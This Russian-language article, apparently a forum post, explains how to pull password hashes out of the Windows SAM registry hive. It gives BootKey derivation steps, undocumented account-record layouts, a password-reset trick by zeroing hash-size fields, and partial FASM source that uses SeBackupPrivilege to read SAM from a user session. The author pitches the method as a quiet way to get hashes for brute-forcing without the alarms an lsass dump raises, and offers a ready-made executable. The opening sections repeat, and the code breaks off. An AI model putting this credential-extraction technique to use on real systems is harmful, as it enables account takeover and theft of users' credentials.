Это заключительная часть из серии внутренних особенностей реестра, где мы на практике рассмотрим, как утилиты типа Mimikatz, Hashcat, PassRecovery и прочие, вытаскивают конфиденциальную инфу из учётных записей пользователей. Разобравшись в теме можно будет не только получить хэши паролей для последующей атаки перебором, но и сбрасывать их на случай, когда требуется несанкционированный доступ к машине в контексте криминалистики. Предыдущие материалы по темы лежат здесь.
В этой части:
1. Общие сведения - назначение базы SAM
База данных SAM (Security Account Manager) - это защищённая часть системного реестра, которая отвечает за хранение учётных записей на лок.машине, а так-же за процесс проверки личности при входе юзера в систему. Если компьютер подключён к корпоративному домену "Active Directory", проверка подлинности обрабатывается централизованно на сервере домена. Главные функции SAM:
Ключевым компонентом безопасности в Win является системный процесс Lsass.exe (Local Security Authority SubSystem), а куст реестра SAM выступает в роли локальной базы для LSA. Когда в окне Winlogon юзер вводит свой пароль, LSA перехватывает его и обращается к SAM для поиска пользователя. Если аккаунт существует, LSA сравнивает введённый пасс с хэшем из базы, и на его основе генерирует разрешающий вход маркер доступа "Access Token", в котором перечисленны все права данного юзверя.
В памяти процесса Lsass хранятся и т.н. "LSA Secrets" - именно их используют инструменты типа Mimikatz для кражи инфы. Некоторую информацию по секретам LSA можно найти здесь. Чтобы защитить память lsass, начиная с Win10 были введены технология бункера "Credential Guard" и доп.слой изоляции "RunAsPPL" (Protected Process Light). Эта пара блокирует попытки создания дампа, что полностью обезоруживает Mimikatz. Изоляцию активирует ключ "RunAsPPL" в ветке
Таким образом, чтобы добраться до учётных записей, нам нужно или сбросить дамп процесса Lsass, или каким-то образом заполучить доступ к защищённым файлам реестра на диске. Как уже выяснилось, дампить память на современных ОС слишком палевно - системные сторожа тут-же поднимут шум и придётся уносить ноги. Второй вариант с доступом к файлам на диске представляет проблему (требуются сложные операции на уровне секторов диска, вместо ReadFile), поскольку система блокирует их после чтения в память.
Поэтому мы задействуем вполне безобидный трюк - это чтение реестра на живой системе стандартными функциями типа
Подпевая в унисон друг-другу, все хором утверждают, мол для доступа к SAM нужны права пользователя System. Отчасти это так, но с одной оговоркой! Если ты админ и у тебя есть привилегия "SeBackup", то вызывая API с определёнными флагами можешь без проблем не только читать любую ветку реестра, но и записывать в неё данные прямо из пользовательской сессии(1). Чтобы не быть голословным, далее я представлю пруфы этому громкому тезису.
2. Системный ключ "BootKey" и поле "ClassName"
WinXP имела штатную утилиту под названием "Syskey", которая добавляла доп.уровень шифрования к хранящимся в SAM паролям. Для крипта она использовала 16-байтный ключ "BootKey" (128 бит), который генерился на основе введённой юзером строки. Как результат, взломщику нужно было сначала найти этот ключ (чтобы удалить доп.уровень обфускации), и лишь потом брутить реальные хэши. Звучит впечатляюще, но в настоящий момент syskey считается устаревшим - инженеры полностью удалили эту технологию начиная с Win10, в пользу более надёжного шифрования диска "BitLocker".
Однако BootKey жив и по сей день, пусть и не в прежнем виде. Теперь он жёстко прошит в следующих ключах реестра, и собирается из 4-х значений "ClassName" их параметров (иерархия: ветка\ключ\параметр\значение):
Анализ в WinDbg и шпионом RegMon доказывает, что получить заветный BootKey сейчас довольно просто - для этого нужно проделать сл.операции:
Здесь есть нюанс, на который следует обратить особое внимание.
Дело в том, что значение "ClassName" весьма не типичное для реестра, а потому его не отображает ни один из известных мне редакторов, например Regedit, RegistryFinder, TotalReg и другие. Значение класса обычно нигде не фигурирует, и было введено просто как доп.поле, куда клиенты реестра могут сбрасывать личную свою инфу (считайте его потайным карманом у себя в штанах).
Прочитать значение ClassName можно отправив на экспорт ветку в формате *.txt, или вызвать одну из api
3. Структуры учётных записей в SAM
Будем считать, что ключ BootKey мы раздобыли, и теперь пришло время вытащить из реестра хэши паролей. Единственная проблема здесь - это разобрать на атомы двоичные дампы параметров, чего нельзя сделать в принципе не имея структур с описанием полей. В гугле какая-то муть, которая ни в какую не хотела проецироваться на мой дамп Win7 x64. Туда-же я отправил и ботов ИИ, которые не смогли удовлетворить мои запросы. Так-что пришлось искать недокументированные структуры самому, и я случайно наткнулся на них на одном из китайских сайтов.
Значит сырые хэши паролей лежат в ветке
Например на рис.ниже видно, что учётной записи "DefaultAccount" подсистема безопасности LSA назначила
Вот структура параметра(F) - он имеет тип REG_BINARY и описывает следующее (назначение полей Unknown неизвестно, и можно их игнорировать):
И наконец параметр(V). Он имеет довольно интересную организацию, и делится на 2 части.
Первая выделена под заголовки атрибутов учётной записи, а размер каждого хидера равен три дворда, или 12-байт.
Общее кол-во этих заголовков всегда постоянно и составляет 17 штук, а значит все они скопом занимают
На скрине ниже реальное содержимое моего параметра(V). Красным выделен блок с 17 заголовками, после которых начинаются и сами атрибуты. Например, чтобы получить имя юзера, мы берём второй заголовок по смещению
При разборе параметра(V) нужно обязательно проверять поле Size в заголовке, поскольку большинство атрибутов могут вообще отсутствовать, как на этом скрине начиная со-смещения
А вот с арибутом хэшей есть один нюанс. Если посмотреть на структуру SAM_V, то указатель на LM-хэш лежит по смещению
Но если посмотреть на указатель хэша NT по смещению
Теперь становится ясно, каким образом специальные утилиты сбрасывают пароли на вход в учётную запись. Для этого нужно обнулить лишь поле Size в заголовке LM/NT хэшей, оставив как есть само 16-байтное значение.
Если учётной записи назначена картинка, то помимо параметров
4. Практика - пишем софт для доступа к ветке SAM
Под занавес соберём всё сказанное в одну форточку, чтобы представить пруфы.
В этом контексте есть несколько критически важных замечаний, иначе не видать нам доступа к ветке SAM.
Вот собственно исходник приложения, и результат его деятельности.
Код начинается с того, что собирает значения всех классов, и на основании их создаёт ключ "BootKey". После сохранения ключа в файл, идёт попытка открыть куст SAM и если ок, то даёт об этом знать юзеру. От версии ОС зависит, 1 или 2 префикса нужно пропустить при доступе к хэшам в параметре(V), поэтому сбрасываем VersionMajor как флаг в переменную. Я беру версию из РЕВ процесса: 6 = Win7, 10 = Win10.
Далее основной функционал с обходом параметров F/V в учётных записях.
На первом этапе сбрасываю в ListView имя и RID из куста
Чтобы проверить полученный нами ключ BootKey на валидность, можно сравнить его с результатом консольной утилиты BKREG.EXE. Она ожидает единственный параметр в виде имени файла *.txt, и по уже знакомой нам схеме генерит ключ для расшифровки хэшей пароля. Как видим всё совпадает, а значит мы всё сделали правильно:
5. Заключение
Как показал данный эксперимент, утверждение типа "Пользователю в сессии(1) закрыт доступ к ветке SAM" не имеет под собой оснований. С привилегией Backup она полностью открыта админу не только на чтение, но и на запись. В результате отпадает необходимость вмешиваться в критически важный процесс системы lsass.exe, чтобы сдампить содержимое его памяти.
В скрепке найдёте весьма интересные доки PDF с описанием алгоритма расшифровки паролей от Win7 до Win10, а так-же исходник этого кода с готовым исполняемым файлом для тестов. Всем удачи, пока!
Ссылки
Набор полезных утилит:
Index of /pub/projects/john/contrib/windows/pwdump
Актуальная информация о хэшах Win10:
Retrieving NTLM Hashes and what changed in Windows 10
Базовая дока о SAM, на которую ссылаются все, кому не лень:
SysKey and the SAM
Хабр тоже в курсе всех интересных событий:
Хранение и шифрование паролей Microsoft Windows
В этой части:
1. Общие сведения - назначение базы SAM
2. Системный ключ BootKey
3. Структуры учётных записей в SAM
4. Практика - пишем софт для доступа к ветке SAM
5. Заключение
1. Общие сведения - назначение базы SAM
База данных SAM (Security Account Manager) - это защищённая часть системного реестра, которая отвечает за хранение учётных записей на лок.машине, а так-же за процесс проверки личности при входе юзера в систему. Если компьютер подключён к корпоративному домену "Active Directory", проверка подлинности обрабатывается централизованно на сервере домена. Главные функции SAM:
1. Аутентификация - хранит криптографические хэши паролей.
2. Управление учётными записями - содержит имена зареганых юзеров, их SID (Security Identifier) и инфу о принадлежности к группам.
3. Политики безопасности - применяет базовые правила, например требования к сложности паролей, или блокировки учётных записей.
Ключевым компонентом безопасности в Win является системный процесс Lsass.exe (Local Security Authority SubSystem), а куст реестра SAM выступает в роли локальной базы для LSA. Когда в окне Winlogon юзер вводит свой пароль, LSA перехватывает его и обращается к SAM для поиска пользователя. Если аккаунт существует, LSA сравнивает введённый пасс с хэшем из базы, и на его основе генерирует разрешающий вход маркер доступа "Access Token", в котором перечисленны все права данного юзверя.
Код:
0: kd> !process 0 1 akelpad.exe
PROCESS fffffa80`0c9e6060
SessionId: 1 Peb: 7efdf000
Image : AkelPad.exe
Token : fffff8a0`0239d060 <------------
.......
0: kd> dt _token fffff8a0`0239d060
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : 0x7fffffff`ffffffff
+0x030 TokenLock : 0xfffffa80`0c9252c0 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x074 SessionId : 1
+0x078 UserAndGroupCount : 0xf
+0x07c RestrictedSidCount : 0
+0x080 VariableLength : 0x2bc
+0x084 DynamicCharged : 0x400
+0x088 DynamicAvailable : 0
+0x08c DefaultOwnerIndex : 4
+0x090 UserAndGroups : 0xfffff8a0`0239d370 _SID_AND_ATTRIBUTES
+0x098 RestrictedSids : (null)
+0x0a0 PrimaryGroup : 0xfffff8a0`01de4cb0
+0x0a8 DynamicPart : 0xfffff8a0`01de4cb0
+0x0b0 DefaultDacl : 0xfffff8a0`01de4ccc _ACL
+0x0b8 TokenType : 1 ( TokenPrimary )
+0x0bc ImpersonationLevel : 0 ( SecurityAnonymous )
+0x0c0 TokenFlags : 0x2000
+0x0c4 TokenInUse : 1
+0x0c8 IntegrityLevelIndex : 0x0E
+0x0cc MandatoryPolicy : 3
+0x0d0 LogonSession : 0xfffff8a0`017815f0 _SEP_LOGON_SESSION_REFERENCES
+0x0d8 OriginLogonSession : _LUID
+0x0e0 SidHash : _SID_AND_ATTRIBUTES_HASH
+0x1f0 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x300 SecurityAttributes : 0xfffff8a0`0178f860 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x308 SessionObject : 0xfffffa80`103ff1c0
+0x310 VariablePart : 0xfffff8a0`0239d460
0: kd>
В памяти процесса Lsass хранятся и т.н. "LSA Secrets" - именно их используют инструменты типа Mimikatz для кражи инфы. Некоторую информацию по секретам LSA можно найти здесь. Чтобы защитить память lsass, начиная с Win10 были введены технология бункера "Credential Guard" и доп.слой изоляции "RunAsPPL" (Protected Process Light). Эта пара блокирует попытки создания дампа, что полностью обезоруживает Mimikatz. Изоляцию активирует ключ "RunAsPPL" в ветке
HKLM\SYSTEM\CurrentControlSet\Control\Lsa - значение(0) отключает фишку, (1)вкл.через переменную в UEFI, (2)вкл в обычном режиме (только для Win11 сборки 22H2+).Таким образом, чтобы добраться до учётных записей, нам нужно или сбросить дамп процесса Lsass, или каким-то образом заполучить доступ к защищённым файлам реестра на диске. Как уже выяснилось, дампить память на современных ОС слишком палевно - системные сторожа тут-же поднимут шум и придётся уносить ноги. Второй вариант с доступом к файлам на диске представляет проблему (требуются сложные операции на уровне секторов диска, вместо ReadFile), поскольку система блокирует их после чтения в память.
Поэтому мы задействуем вполне безобидный трюк - это чтение реестра на живой системе стандартными функциями типа
RegOpenKeyEx() и прочих. Такой подход даже не рассматривается в обществе аналитиков и реверс-инжинеров (по крайней мере мне не удалось найти никаких ссылок), а причиной тому отсутствие актуальной документации на структуры, которые описывают бинарные данные реестра. Правда есть кое-что, но только для WinXP. После неё утекло уже много воды, и майки внесли массу изменений, что отразилось и на формате закрытых структур.Подпевая в унисон друг-другу, все хором утверждают, мол для доступа к SAM нужны права пользователя System. Отчасти это так, но с одной оговоркой! Если ты админ и у тебя есть привилегия "SeBackup", то вызывая API с определёнными флагами можешь без проблем не только читать любую ветку реестра, но и записывать в неё данные прямо из пользовательской сессии(1). Чтобы не быть голословным, далее я представлю пруфы этому громкому тезису.
2. Системный ключ "BootKey" и поле "ClassName"
WinXP имела штатную утилиту под названием "Syskey", которая добавляла доп.уровень шифрования к хранящимся в SAM паролям. Для крипта она использовала 16-байтный ключ "BootKey" (128 бит), который генерился на основе введённой юзером строки. Как результат, взломщику нужно было сначала найти этот ключ (чтобы удалить доп.уровень обфускации), и лишь потом брутить реальные хэши. Звучит впечатляюще, но в настоящий момент syskey считается устаревшим - инженеры полностью удалили эту технологию начиная с Win10, в пользу более надёжного шифрования диска "BitLocker".
Однако BootKey жив и по сей день, пусть и не в прежнем виде. Теперь он жёстко прошит в следующих ключах реестра, и собирается из 4-х значений "ClassName" их параметров (иерархия: ветка\ключ\параметр\значение):
Код:
HKLM\System\CurrentControlSet\Control\Lsa\JD - параметр Lookup
HKLM\System\CurrentControlSet\Control\Lsa\Skew1 - параметр SkewMatrix
HKLM\System\CurrentControlSet\Control\Lsa\Data - параметр Pattern
HKLM\System\CurrentControlSet\Control\Lsa\GBG - параметр GrafBlumGroup
Анализ в WinDbg и шпионом RegMon доказывает, что получить заветный BootKey сейчас довольно просто - для этого нужно проделать сл.операции:
1. Функцией
RegOpenKeyEx() в цикле открыть ключи реестра JD - Skew1 - Data - GBG, указав до них полный путь.2. На каждой итерации цикла вызывать
RegQueryInfoKey(), чтобы получить значение "ClassName" параметров.3. Строго соблюдая указанную выше последовательность, сохранить все 4-байтные значения классов в своём буфере.
4. Так получим 16-байтный массив, т.е. 4 класса, по 4 байта.
5. Переставить байты в массиве, чтобы они следовали в таком порядке:
8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,76. Это и будет значением ключа шифрования BootKey.
Здесь есть нюанс, на который следует обратить особое внимание.
Дело в том, что значение "ClassName" весьма не типичное для реестра, а потому его не отображает ни один из известных мне редакторов, например Regedit, RegistryFinder, TotalReg и другие. Значение класса обычно нигде не фигурирует, и было введено просто как доп.поле, куда клиенты реестра могут сбрасывать личную свою инфу (считайте его потайным карманом у себя в штанах).
Прочитать значение ClassName можно отправив на экспорт ветку в формате *.txt, или вызвать одну из api
RegQueryInfoKeyEx() + RegGetValue(). Обе эти api имеют аргумент "lpClass". На скрине ниже видно, что в правом окне реестра имеются лишь поля: Имя-Тип-Значение-Размер, хотя в экспортированном из реестра текстовом файле класс уже присутствует.3. Структуры учётных записей в SAM
Будем считать, что ключ BootKey мы раздобыли, и теперь пришло время вытащить из реестра хэши паролей. Единственная проблема здесь - это разобрать на атомы двоичные дампы параметров, чего нельзя сделать в принципе не имея структур с описанием полей. В гугле какая-то муть, которая ни в какую не хотела проецироваться на мой дамп Win7 x64. Туда-же я отправил и ботов ИИ, которые не смогли удовлетворить мои запросы. Так-что пришлось искать недокументированные структуры самому, и я случайно наткнулся на них на одном из китайских сайтов.
Значит сырые хэши паролей лежат в ветке
HKLM\SAM\SAM\Domains\Account\Users\*RID (см.красный блок на скрине ниже), при этом во-вложенном подкаталоге Names хранятся соответствующие этим RID имена учётных записей. Таким образом, обход нужно начинать именно с ветки Domains\Account\Users\Names, где в поле "Тип" каждой из них будет указан RID для доступа к родительской ветке Users.Например на рис.ниже видно, что учётной записи "DefaultAccount" подсистема безопасности LSA назначила
RID=0x1F7, и если выбрать его в ветке Users, то найдём в ней два параметра F и V. Первый(F) всегда имеет фиксированный размер 80-байт (или 50h), поэтому его и назвали "Fixed". А вот размер второго(V) может быть переменным от "Variable", и именно в нём хранится хэш пароля NTLM.Вот структура параметра(F) - он имеет тип REG_BINARY и описывает следующее (назначение полей Unknown неизвестно, и можно их игнорировать):
Код:
struct SAM_F
Version dd 0 ; 00 = 0x00010002 (v1.2)
Unknown1 dd 0 ; 04
LastLogon dq 0 ; 08 время последнего входа учётной записи в систему
Unknown2 dq 0 ; 10
PassLastSet dq 0 ; 18 время последнего изменения пароля
Unknown3 dq 0 ; 20
LastBadPass dq 0 ; 28 время последнего ввода неверного пароля
RID dd 0 ; 30 Relative Identifier (относительный ID, см.скрин выше)
Unknown4 dd 0 ; 34
ACB dd 0 ; 38 Флаги "Account Control Bit"
CountryCode dw 0 ; 3C код региона (0 = System default)
Unknown6 dw 0 ; 3E
BadPassCount dw 0 ; 40 кол-во вводов неправильно пароля
LogonCount dw 0 ; 42 общее кол-во входов в систему
Reserved rb 12 ; 44 выравнивание до 80 байт
ends
;//------------------------------------------------
;// ACB. Offset 0x38. Состояние учётной записи.
;//------------------------------------------------
ACB_DISABLED = 0x0001 ; Отключена
ACB_HOMDIRREQ = 0x0002 ; Требуется домашний каталог
ACB_PASS_NOTREQ = 0x0004 ; Игнорировать политику мин.длины (разрешён пустой пароль)
ACB_TEMP_DUP = 0x0008 ; Временная учётная запись
ACB_NORMAL = 0x0010 ; Обычная
ACB_MNS = 0x0020 ; Кластера MNS
ACB_DOMTRUST = 0x0040 ; Домена
ACB_WSTRUST = 0x0080 ; Рабочей станции
ACB_SVRTRUST = 0x0100 ; Сервера
ACB_PASS_NOEXP = 0x0200 ; Пароль не истекает
ACB_AUTOLOCK = 0x0400 ; Авто-блокировка (например, несколько неверных попыток входа)
ACB_ENC_TXT_PWD_ALLOWED = 0x0800 ; Разрешён зашифрованный текстовый пароль
ACB_SMARTCARD_REQUIRED = 0x1000 ; Требуется смарт-карта
ACB_TRUSTED_FOR_DELEGATION = 0x2000 ; Доверено для делегирования
ACB_NOT_DELEGATED = 0x4000 ; Не делегировано
ACB_USE_DES_KEY_ONLY = 0x8000 ; Использовать только DES ключи
И наконец параметр(V). Он имеет довольно интересную организацию, и делится на 2 части.
Первая выделена под заголовки атрибутов учётной записи, а размер каждого хидера равен три дворда, или 12-байт.
Код:
struct VHEADER ;<---- Формат заголовка
Offset dd 0 ; смещение до атрибута (нужно прибавить базу 0xCC)
Size dd 0 ; реальный размер атрибута
Unknown dd 0 ; непонятное поле
ends
Общее кол-во этих заголовков всегда постоянно и составляет 17 штук, а значит все они скопом занимают
17*12=204 байта, или 0хСС. Таким образом, первый атрибут будет начинаться со-смещения 0хСС внутри параметра(V), а длину его можно узнать из поля Size заголовка. Важно понять, что значение в поле Offset является относительным, а потому абсолютный адрес любого атрибута вычисляется по формуле: Offset+0xCC.
Код:
struct SAM_V
Security VHEADER ; 00 = атрибуты безопасности SID + ACL
UserName VHEADER ; 0C = имя пользователя
FullName VHEADER ; 18
Comment VHEADER ; 24 = Unicode строка с описанием учётной записи
UserComment VHEADER ; 30
Unknown1 VHEADER ; 3C
HomeDir VHEADER ; 48 = путь до папки C:\Users\<userName>
HomeDirConnect VHEADER ; 54
LogonScript VHEADER ; 60
ProfilePath VHEADER ; 6C
Workstation VHEADER ; 78
HourAllowed VHEADER ; 84
Unknown2 VHEADER ; 90
LMHash VHEADER ; 9C = сырой\обфусцированный хэш
NTHash VHEADER ; A8
NT_history VHEADER ; B4 = предыдущий хэш (если была смена пароля)
LM_history VHEADER ; C0
ends
struct SAM_SECUR ;<------------ Описывает дескриптор безопасности (первый атрибут)
Revision db 0 ; 00 версия структуры (как правило =1)
Sbz1 db 0 ; 01 резерв
Control dw 0 ; 02 флаги, какие компоненты присутствуют
OwnerOffs dd 0 ; 04 cмещение до SID владельца
GroupOffs dd 0 ; 08 cмещение до SID группы
SaclOffs dd 0 ; 0C cмещение до SACL
DaclOffs dd 0 ; 10 cмещение до DACL
;-----------------------------> здесь начинаются сами SID и ACL
ends
На скрине ниже реальное содержимое моего параметра(V). Красным выделен блок с 17 заголовками, после которых начинаются и сами атрибуты. Например, чтобы получить имя юзера, мы берём второй заголовок по смещению
0x0C от начала, и находим в нём Offset=BC & Size=0E. Поскольку размер больше нуля, значит атрибут реально есть, и прибавив к Offset значение базы 0xCC, получаем абсолютный адрес 0x188, где и видим Unicode строку "Marylin".При разборе параметра(V) нужно обязательно проверять поле Size в заголовке, поскольку большинство атрибутов могут вообще отсутствовать, как на этом скрине начиная со-смещения
0x18 и вплоть до 0x90. Все офсеты в данном диапазоне смотрят на 0xCC, хотя размеры их атрибутов равны нулю (второй дворд после 0xCC).А вот с арибутом хэшей есть один нюанс. Если посмотреть на структуру SAM_V, то указатель на LM-хэш лежит по смещению
0х9С в заголовке, где видим Offset=D4+CC=1A0. При этом размер его всего 4 байта, что подозрительно, т.к. хэши должны быть 16-байтные. От сюда вывод - здесь хэш LM вообще отсутствует, а есть только его префикс со значением 0x00010004.Но если посмотреть на указатель хэша NT по смещению
0xA8, то его Offset=D8+CC=1A4, при размере атрибута уже 0х14. Таким образом хэши предваряют один дворд на системах Win7, и 2 дворда на Win10+ (что именно они означают мне так и не удалось выяснить). В данном случае имеем NT-хэш: 3C4593B1...686BCCE5.Теперь становится ясно, каким образом специальные утилиты сбрасывают пароли на вход в учётную запись. Для этого нужно обнулить лишь поле Size в заголовке LM/NT хэшей, оставив как есть само 16-байтное значение.
Если учётной записи назначена картинка, то помимо параметров
F/V будет ещё один с именем UserTile. В реестре хранится не только путь до этой аватарки, но и весь файл JPG/PNG целиком так, что мы можем вытащить его программно. Если не понятно о чём речь, вот пример с моей машины:
Код:
;// Структура параметра "UserTile" в SAM\Domains\Account\Users\RID
;// Описывает аву профиля пользователя в окне Winlogon
struct USER_TILE
Reserved1 dd 3 ; 00
FileSize dd 0 ; 0C
PicData db ? ; 10 = картинка в двочном формате
Padding dq 0 ; 10 + FileSize
PicExt dq 0 ; расширение BMP\PNG\JMP\ect
Reserved2 dq 0 ;
FilePath du ? ; Путь до файла иконки на диске
ends
4. Практика - пишем софт для доступа к ветке SAM
Под занавес соберём всё сказанное в одну форточку, чтобы представить пруфы.
В этом контексте есть несколько критически важных замечаний, иначе не видать нам доступа к ветке SAM.
1. Обязательно требуется запуск кода от админа, которому предварительно нужно включить привилегию "SeBackup".
2. Кусты реестра SAM открывать не стандартной функцией
RegOpenKey(), а использовать расширенную версию RegCreateKeyEx().
3. В параметре последней указать магический флаг "REG_OPTION_BACKUP_RESTORE" - в купе с привилегий "SeBackup" он открывает все двери в реестр.
4. Этот флаг не наследуется, а потому дочерние кусты открывать не по дескриптору Handle родительского, а индивидуальным вызовом
RegCreateKeyEx() опять с флагом "REG_OPTION_BACKUP_RESTORE". Просто возьмите это за правило, и всё будет гуд.
5. При открытии кустов, всегда указывайте полный путь от самого корня, например
HKLM\SAM\SAM\Domains\Account\Users\Names. Такое требование приводит к тому, что формировать пути придётся динамически, используя конкатенацию (объединение) двух строк функцией lstrcat().
6. Если пути формируются в цикле (как это обычно и происходит), не забывайте очищать буфер перед очередным
lstrcat(), иначе можно получить дубль по типу: ..\Account\Users\Names\MarylinUser (т.е. союз двух разных имён в хвосте строки). Ошибки подобного рода хорошо видны в отладчике.Вот собственно исходник приложения, и результат его деятельности.
Код начинается с того, что собирает значения всех классов, и на основании их создаёт ключ "BootKey". После сохранения ключа в файл, идёт попытка открыть куст SAM и если ок, то даёт об этом знать юзеру. От версии ОС зависит, 1 или 2 префикса нужно пропустить при доступе к хэшам в параметре(V), поэтому сбрасываем VersionMajor как флаг в переменную. Я беру версию из РЕВ процесса: 6 = Win7, 10 = Win10.
Далее основной функционал с обходом параметров F/V в учётных записях.
На первом этапе сбрасываю в ListView имя и RID из куста
\Users\Names, а на втором этапе уже вывод нарытой инфы в статики свойств. Отмечу, что я не ставил перед собой цели полностью расшифровать и сбрутить хэши паролей - это отдельная тема для разговора. Здесь просто демка, как можно прямо из сессии(1) получить доступ к закрытой ветке реестра SAM.
C-подобный:
format pe gui 6.0
entry start
include 'win32ax.inc'
include 'equates\reghive.inc'
include 'encoding\win1251.inc'
;//-------------------
.data
ID_LV = 1000
ID_JD = 1001
ID_SK = 1002
ID_GB = 1003
ID_DT = 1004
ID_Key = 1005
ID_File = 1006
ID_Fsize = 1007
ID_Sam = 1008
ID_Win = 1009
ID_Stat = 1010
ID_Time = 1011
ID_Pass = 1012
ID_Bad = 1013
ID_Lcnt = 1014
ID_Bcnt = 1015
ID_NHash = 1016
ID_Sid = 1017
ID_Save = 1018
ID_Clear = 1019
RRF_RT_ANY = 0xffff
RRF_RT_REG_BINARY = 0x0008
hLV dd 0
hModule dd 0
hDlg dd 0
hReg dd 0
hToken dd 0
hSamBackup dd 0
hSamUsers dd 0
hSamNames dd 0
hUserRid dd 0
index dd 0
osFlag dd 0
hMyBrush dd 0 ;// дескриптор кисти для фона Static
lpClass dq 0,0,0,0,0
lpcClass dd 0
pcbBinary dd 16
pDataSize dd 0
ridBuff dd 0,0
pdwType dd 0
f_Buff rd 80 ;//<--- Буфер (fixed)
align 16
sysKey db 'SYSTEM\CurrentControlSet\Control\Lsa\',0,0,0,0,0,0,0,0
subKey db 'JD',0,0,0,0
db 'Skew1',0
db 'GBG',0,0,0
db 'Data',0,0
subKeyName rb 16
align 16
usersPath db 'SAM\SAM\Domains\Account\Users\',0
users db 64 dup(0)
align 16
namesPath db 'SAM\SAM\Domains\Account\Users\Names\',0
names db 64 dup(0)
userOn db 'Активна',0
userOff db 'Отключена',0
;//ShiftArray db 8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7
shiftArray db 16,10,8,4,22,18,26,6,0,12,2,24,28,20,30,14
hexKey dd 0,0,0,0,0,0,0,0
align 16
struct TOKEN_PRIVILEGES
PrivilegeCount dd 1 ;// Счётчик добавляемых привилегий
BckpLuid dq 0 ;// Место под Backup_LUID
BckpPrivileges dd 2 ;// SE_PRIVILEGE_ENABLED
ends
tp TOKEN_PRIVILEGES
lvi LV_ITEM
lvc LV_COLUMN
stm SYSTEMTIME
nmlv NM_LISTVIEW
colName0 db 'Учётная запись',0
colName1 db 'RID',0
align 16
buff rb 2048
;//-------------------
.code
start: invoke IsUserAnAdmin
or eax,eax
jnz @f
invoke MessageBox,0,<'Ошибка! Требуются права админа.',0>,0,0x30
invoke ExitProcess,1
;// Включаем привилегию "Backup" для доступа к SAM
@@: invoke GetCurrentProcess
invoke OpenProcessToken,eax,0x28, hToken
lea eax,[tp.BckpLuid]
invoke LookupPrivilegeValue,0,<'SeBackupPrivilege',0>,eax
invoke AdjustTokenPrivileges,[hToken],0,tp,0,0,0 ;// 1 = Ок!
invoke CloseHandle,[hToken]
invoke InitCommonControls
invoke GetModuleHandle,0
mov [hModule],eax
invoke DialogBoxParam, eax,100,0,DialogProc,0
invoke ExitProcess, 0
proc DialogProc hwnd, msg, wparam, lparam
mov eax,[hwnd]
mov [hDlg],eax
cmp [msg],WM_INITDIALOG
je @init
cmp [msg],WM_COMMAND
je @exit
cmp [msg],WM_CLOSE
je @close
cmp [msg],WM_NOTIFY
je @notify
cmp [msg],WM_CTLCOLORSTATIC
je @strgb
jmp @next
;//***************************************************
;//****** Обработчик "WM_CTLCOLORSTATIC" *************
;//***************************************************
;// wParam = контекст устройства HDC
;// lParam = дескриптор элемента управления
@strgb: invoke GetDlgCtrlID,[lparam]
mov ecx,17
mov ebx,1001
@@: push eax ebx ecx
cmp eax,ebx
je @f
pop ecx ebx eax
inc ebx
loop @b
jmp @next
;5d260e
@@: invoke SetTextColor,[wparam],0x080848 ;// 00BBGGRR
invoke SetBkMode,[wparam],TRANSPARENT ;// прозрачный фон
invoke GetSysColorBrush,COLOR_BTNFACE ;// обязательно возвратить стд.кисть!
ret
;//***************************************************
;//****** Обработчик сообщения "WM_INITDIALOG" *******
;//***************************************************
@init: invoke SetWindowText,[hwnd],<'SAM Hive Info v0.1. (Demo version)',0>
;//------ Версия Windows
mov esi,[ fs:0x30]
mov eax,[esi+0xA4]
mov ebx,[esi+0xA8]
movzx ecx,word[esi+0xAC]
movzx edx,word[esi+0xAE]
shr edx,8
mov [osFlag],eax
cinvoke wsprintf,buff,<'Microsoft Windows %d.%d.%d - SP%d',0>,eax,ebx,ecx,edx
invoke SetDlgItemText,[hwnd],ID_Win,buff
;//------ Отключить буттон "Сброс пароля"
invoke GetDlgItem,[hwnd],ID_Clear
; invoke EnableWindow,eax,0
;//------ Вставим иконку в окно
invoke LoadIcon,[hModule],101
invoke SendMessage,[hwnd],WM_SETICON,ICON_BIG,eax
;//------ Получить дескриптор контрола ListView
invoke GetDlgItem,[hwnd],ID_LV
mov [hLV],eax
;//------ Установить для него расширенный стиль
invoke SendMessage,eax,LVM_SETEXTENDEDLISTVIEWSTYLE,0,\
LVS_EX_FULLROWSELECT + LVS_EX_GRIDLINES
;//------ Вставить столбцы "LV_COLUMN" в список
mov [lvc.mask],LVCF_TEXT + LVCF_WIDTH + LVCF_FMT
mov [lvc.cx],140
mov [lvc.pszText],colName0
invoke SendMessage,[hLV], LVM_INSERTCOLUMN, 0, lvc
mov [lvc.cx],75
mov [lvc.pszText],colName1
mov [lvc.fmt],LVCFMT_CENTER
invoke SendMessage,[hLV], LVM_INSERTCOLUMN, 1, lvc
;//------ Читаем в цикле классы ..\LSA\JD-Skew1-GBG-Data
mov ebx,lpClass
mov esi,subKey
mov edi,sysKey+37
mov ecx,4
@@: push ecx esi edi ebx ebx
mov ecx,6
rep movsb
mov [lpcClass],16
invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,sysKey,0,KEY_QUERY_VALUE,hReg
pop ebx
invoke RegQueryInfoKey,[hReg],ebx,lpcClass,0,0,0,0,0,0,0,0,0
invoke RegCloseKey,[hReg]
pop ebx edi esi ecx
add esi,6
add ebx,8
loop @b
;//------ Вывод имён классов в статики
@@: mov eax,subKey
mov esi,lpClass
mov edi,subKeyName
mov ecx,4
mov ebx,ID_JD
@@: push eax ebx esi edi ecx
mov ecx,8
rep movsb
stdcall UpperCase,subKeyName,8
invoke SetDlgItemText,[hwnd],ebx,subKeyName
pop ecx edi esi ebx eax
add esi,8
add eax,6
inc ebx ;// ID_JD..SK\GB\DT
loop @b
;//------ Формируем ключ "BootKey" из имён классов LSA
mov esi,lpClass
mov edi,buff
mov ecx,16
mov edx,shiftArray
@@: movzx ebx,byte[edx]
mov ax,word[esi+ebx]
stosw
inc edx
loop @b
stdcall UpperCase,buff,32
invoke SetDlgItemText,[hwnd],ID_Key,buff
;//------ Строка в НЕХ-число для записи в файл
